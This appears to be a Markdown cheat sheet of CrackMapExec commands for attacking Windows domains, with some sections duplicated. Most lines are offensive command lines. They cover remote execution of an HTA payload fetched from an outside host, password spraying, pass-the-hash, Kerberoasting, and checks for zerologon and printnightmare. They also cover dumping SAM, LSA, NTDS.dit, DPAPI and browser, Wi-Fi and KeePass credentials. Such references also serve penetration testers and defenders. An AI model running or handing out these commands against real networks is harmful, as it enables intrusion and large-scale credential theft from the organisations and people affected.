110 lines
5.6 KiB
Markdown
110 lines
5.6 KiB
Markdown
- Execute HTA:
|
||
- `cme smb IP_ADDRESS -u USERNAME -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’`
|
||
- Get GPP policies
|
||
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin`
|
||
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password`
|
||
- Get password policy
|
||
- `cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol`
|
||
- Dump SAM
|
||
- `cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --sam`
|
||
- Dump LSA secrets
|
||
- `cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --lsa`
|
||
- Check cme protocols
|
||
- `cme`
|
||
- Check cme protocol modules
|
||
- `cme PROTOCOL -L`
|
||
- Check cme protocol module options
|
||
- `cme PROTOCOL -M MODULE --options`
|
||
- Use cme module options
|
||
- `cme PROTOCOL -M MODULE -o OPTION`
|
||
- Log stuff (6.x+)
|
||
- `cme smb IP_ADDRESS -u 'a' -p '' --log logfile.log`
|
||
- add port (most protocols)
|
||
- `cme smb IP_ADDRESS -u 'a' -p '' --port 666`
|
||
- Check Null/Anon Sessions
|
||
- `cme smb IP_ADDRESS -u '' -p ''`
|
||
- `cme smb IP_ADDRESS -u 'a' -p ''`
|
||
- Conduct password sprays
|
||
- `cme smb DC-IP_ADDRESS -u USERS_LIST.txt -p '<some password>' --local-auth`
|
||
- `cme smb DC-IP_ADDRESS -d DOMAIN -u USERS_LIST.txt -p '<some password>'`
|
||
- Execute HTA:
|
||
- `cme smb IP_ADDRESS -d DOMAIN -u UserName -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’`
|
||
- Get GPP policies
|
||
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin`
|
||
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password`
|
||
- Get password policy
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --pass-pol`
|
||
- Get users and descriptions
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --users`
|
||
- Get gropups
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --groups`
|
||
- Get shares
|
||
- `cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --shares`
|
||
- Dump SAM
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --sam`
|
||
- Dump LSA secrets
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --lsa`
|
||
- Dump DPAPI
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --dpapi`
|
||
- Pass the hash (can do both NTLM and NT hash)
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'`
|
||
- `cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'`
|
||
- Pass the hash (local) (can do both NTLM and NT hash)
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth`
|
||
- `cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth`
|
||
- Dump Wifi Passwords
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wireless`
|
||
- Dump firefox creds
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M firefox`
|
||
- Dump veeam creds
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M veeam`
|
||
- Search/Dump KeePass
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_discover`
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_trigger -o KEEPASS_CONFIG_PATH="path_from_module_discovery"`
|
||
- Defeating LAPS
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --laps`
|
||
- Find ASREPROASTable users
|
||
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName-List.txt -p '' --asreproast output.txt`
|
||
- Find Kerberoastable users
|
||
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --kerberoast output.txt`
|
||
- Dump gMSA password
|
||
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --gmsa`
|
||
- MS teams cookies (this crashes teams on host)
|
||
- `cme ldap IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M teams_localdb`
|
||
- Dump NTDS.dit
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds`
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users`
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users --enabled`
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds vss`
|
||
- Spider shares for pattern
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --spider 'share' --pattern 'txt'`
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M spider_plus`
|
||
- Get relay hosts (SMB Signing Not Required)
|
||
- `cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --gen-relay-list relaylist.txt`
|
||
- Get impersonation tokens
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M impersonate`
|
||
- Check for nopac
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M nopac`
|
||
- Check for printnightmare
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M printnightmare`
|
||
- Check for petitpotam
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M petitpotam`
|
||
- Check for shadowcoerce
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M shadowcoerce`
|
||
- Check for zerologon (shit's broken half the time, module not found)
|
||
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M zerologon`
|
||
- Enumerate basic security configs in windows
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wcc`
|
||
- Bloodhound ingestor
|
||
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --bloodhound --collection All`
|
||
- Run command (x - cmd // X - ps)
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -x 'whoami'`
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -X 'whoami'`
|
||
- Change command exec method (WMI/SMB/ATEXEC)
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --exec-method wmiexec`
|
||
- Authenticate locally
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --local-auth`
|
||
- Download file
|
||
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --get-file "file downloaded" "output file"`
|
||
- Screenshot VNC session
|
||
- `cme vnc IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --screenshot` |